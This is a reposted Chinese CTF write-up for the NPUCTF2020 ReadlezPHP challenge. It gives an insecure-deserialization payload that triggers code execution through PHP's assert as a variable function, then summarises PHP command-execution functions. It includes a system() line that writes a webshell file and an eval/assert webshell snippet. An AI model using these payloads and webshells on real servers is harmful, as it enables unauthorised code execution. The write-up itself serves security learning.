ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

[NPUCTF2020]ReadlezPHP

2022-04-28 22:01:51  阅读:217  来源: 互联网

标签:函数 22% 3A% assert 命令 字符串 NPUCTF2020 ReadlezPHP


[NPUCTF2020]ReadlezPHP WriteUp

知识点

  • 反序列化
  • 可变函数

题解

  • 很简单,直接上最后的payload。

    ?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
    
    没有编码是: O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
    
  • 但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval("phpinfo()");

执行外部命令的函数

  • exec()

    • php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出

    • <?php echo exec('ipconfig');?>
      
  • shell_exec()

  • system()

    • 会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令

    • <?php system("whoami");?>
      
      写入shell
      <?php system('echo "<?php eval($_REQUEST[8]);?>" > 123.php');?>
      
  • passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。

  • system() 输出并返回最后一行shell结果。
    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
    passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
    相同点:都可以获得命令执行的状态码

执行内部命令

  • eval()

    • 里面必须是字符串;字符串必须是合法的PHP代码,且必须以分号结尾;如果字符串里面没有调用return语句,则返回NULL,如果解析错误,返回false
  • assert() 检查断言是否为false。

    • 在php5或php7中,如果括号里面是字符串,它会被当作代码来执行
    • 构造木马可以用 assert("eval($_POST['cmd'])"); 其中assert 可以是字符串。
  • 以前知道可变变量,现在有明白了可变函数。如果一个字符串后面有括号() 。它就会去找与此字符串同名的函数,如果有,就当作函数来执行。

  • 但是 语言构造器和 语言结构(echo,print,unset,isset,empty,include,require等) 属于不可变函数

  • eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

  • 从 PHP7.1 之后,assert 也不再是可变函数。

  • 还有一些可执行内部命令的函数没有总结,如`` , preg_replace()的 e 模式。等等

标签:函数,22%,3A%,assert,命令,字符串,NPUCTF2020,ReadlezPHP
来源: https://www.cnblogs.com/Q-and-K/p/16204723.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有